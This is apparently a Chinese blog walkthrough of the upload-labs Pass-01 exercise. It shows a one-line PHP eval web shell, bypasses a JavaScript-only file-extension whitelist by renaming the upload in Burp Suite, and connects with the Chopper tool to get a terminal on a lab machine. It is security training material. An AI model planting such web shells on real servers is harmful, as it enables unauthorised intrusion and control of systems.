1.upload-labs—Pass01

一、Pass-01

1、上传一个shell.php

shell.php内容为:<?php @eval($_POST['123']);?>

//结果如下图所示,提示我们文件后缀不正确,只允许后缀名为:.jpg .png .gif的文件被上传
在这里插入图片描述
2、浏览器开启代理,打开BP,我们再次尝试上传shell.php

结果如下图所示:P没有收到拦截的请求包,依旧提示不允许上传
在这里插入图片描述
在这里插入图片描述
//这就说明了,该白名单机制,是用js代码写在前端的
f12查看,如下所示:

   function checkFile() {
        var file = document.getElementsByName('upload_file')[0].value;
        if (file == null || file == "") {
            alert("请选择要上传的文件!");
            return false;
        }
        //定义允许上传的文件类型
        var allow_ext = ".jpg|.png|.gif";
        //提取上传文件的类型
        var ext_name = file.substring(file.lastIndexOf("."));
        //判断上传文件类型是否允许上传
        if (allow_ext.indexOf(ext_name) == -1) {
            var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
            alert(errMsg);
            return false;
        }
    }

3、绕过前端的js代码限制:开启代理,打开BP,上传shell.jpg,使用BP修改为shell.php,放通即可

①、修改前:
在这里插入图片描述
②、修改后:

在这里插入图片描述
③、上传成功后,ctrl+shift+c,查看图片上传点

如下图所示,上传点为:http://192.168.97.139/upload-labs/upload/shell.php
//index.php不是目录,是Pass-01目录下的文件,所以此时的父目录为upload-labs
在这里插入图片描述
4、使用菜刀连接,该shell.php

①、右键空白,点击添加,填写完成后,点击回车即可
在这里插入图片描述
②、双击,添加的shell,即可获得靶机目录
在这里插入图片描述
③、右键shell,添加模拟终端,可以打开cmd
在这里插入图片描述
在这里插入图片描述

发布了148 篇原创文章 · 获赞 34 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/qq_45555226/article/details/104846230